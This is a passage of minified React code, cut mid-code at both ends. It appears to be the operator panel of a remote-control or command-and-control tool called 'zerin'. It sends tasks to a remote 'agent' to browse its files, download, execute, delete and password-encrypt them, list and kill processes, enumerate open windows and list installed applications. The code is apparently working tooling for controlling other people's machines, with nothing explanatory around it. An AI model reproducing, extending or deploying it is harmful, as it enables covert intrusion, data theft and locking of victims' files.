`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const re=Y.substring(0,12).trim(),F=Y.substring(13,33).trim();let se=Y.substring(34).trim();if(!se||se==="."||se==="..")continue;const be=re==="<DIR>";(se.endsWith("/")||se.endsWith("\\"))&&(se=se.slice(0,-1)),C.push({name:se,isDir:be,size:be?void 0:re,modified:F})}s(C)}}else le>=de&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=K=>{if(K.name.includes("..")||K.name.includes("/")||K.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+K.name},D=K=>{N(K),setTimeout(()=>N(""),5e3)},V=async K=>{h(null),g("download"),u(""),N("");try{const Z=P(K),{task_id:le}=await Me(e,{command:"download",args:[Z]}),de=await _(le);if(de.data){let we;try{we=atob(de.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(we.length);for(let Y=0;Y<we.length;Y++)ye[Y]=we.charCodeAt(Y);const G=new Blob([ye]),te=URL.createObjectURL(G),C=document.createElement("a");C.href=te,C.download=K.name,document.body.appendChild(C),C.click(),document.body.removeChild(C),URL.revokeObjectURL(te),D(`Downloaded ${K.name}`)}}catch(Z){u(Z instanceof Error?Z.message:"Download failed")}finally{g(null)}},R=async K=>{h(null),g("delete"),u(""),N("");try{const Z=P(K),{task_id:le}=await Me(e,{command:"delete",args:[Z]});await _(le),D(`Deleted ${K.name}`),O(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},M=async(K,Z,le)=>{v(null),w(""),g(K),u(""),N("");try{const de=P(Z),{task_id:we}=await Me(e,{command:K,args:[de,le]}),ye=await _(we);D(ye.output||`${K==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),O(n)}catch(de){u(de instanceof Error?de.message:`${K} failed`)}finally{g(null)}},W=async K=>{h(null),g("execute"),u(""),N("");try{const Z=P(K),{task_id:le}=await Me(e,{command:"execute",args:[Z]}),de=await _(le);D(de.output||`Executed ${K.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},$=(K,Z)=>{K.preventDefault(),K.stopPropagation();const le=180,de=220;let we=K.clientX,ye=K.clientY;we+le>window.innerWidth&&(we=window.innerWidth-le-8),ye+de>window.innerHeight&&(ye=window.innerHeight-de-8),h({x:Math.max(4,we),y:Math.max(4,ye),entry:Z})},U=()=>{!y||!b.trim()||M(y.action,y.entry,b)},B=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:K=>{K.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),B.map((K,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const le=B.slice(0,Z+1).join("\\")+"\\";O(le)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:K})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>O(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(K=>a.jsxs("button",{onClick:()=>{if(K.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+Z+K.name)}},onContextMenu:Z=>$(Z,K),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r
border-b border-zerin-panel-border last:border-b-0\r
hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:K.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:K.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:K.name})]},K.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>V(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>W(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:K=>K.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:A,type:"password",value:b,onChange:K=>w(K.target.value),onKeyDown:K=>{K.key==="Enter"&&U(),K.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r
transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:U,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
transition-colors capitalize`,children:y.action})]})]})})]})}function XU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var A;z++;try{const O=(A=(await Xn(e)).results)==null?void 0:A.find(P=>P.task_id===k);if(O){if(v.current&&clearInterval(v.current),v.current=null,s(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(`
`).filter(M=>M.trim()),D=[];for(const M of P){const W=M.trim().split(/\s+/);if(W.length>=2){const $=parseInt(W[0],10);if(!isNaN($)){const U=W.length>=3?parseInt(W[1],10):0,B=!isNaN(U)&&W.length>=3,K=B?W.length>=4&&W.slice(3).join(" ")||W[2]:W.slice(1).join(" "),Z=B&&W.length>=4?W[2]:void 0;D.push({pid:$,ppid:B?U:0,name:K,user:Z,children:[]})}}}const V=new Map;D.forEach(M=>V.set(M.pid,M));const R=[];for(const M of D){const W=V.get(M.ppid);W&&W!==M?W.children.push(M):R.push(M)}r(R.length>0?R:D.map(M=>({...M,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(A=>{const _=A.name.toLowerCase().includes(S)||String(A.pid).includes(S),O=w(A.children,z).length>0;return _||O})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(sS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function sS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r
border-b border-zerin-panel-border last:border-b-0\r
hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(sS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function ZU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const A=30;v.current=setInterval(async()=>{var _;S++;try{const P=(_=(await Xn(e)).results)==null?void 0:_.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=A&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const A=z[p]||"",_=S[p]||"",O=A.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?O
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
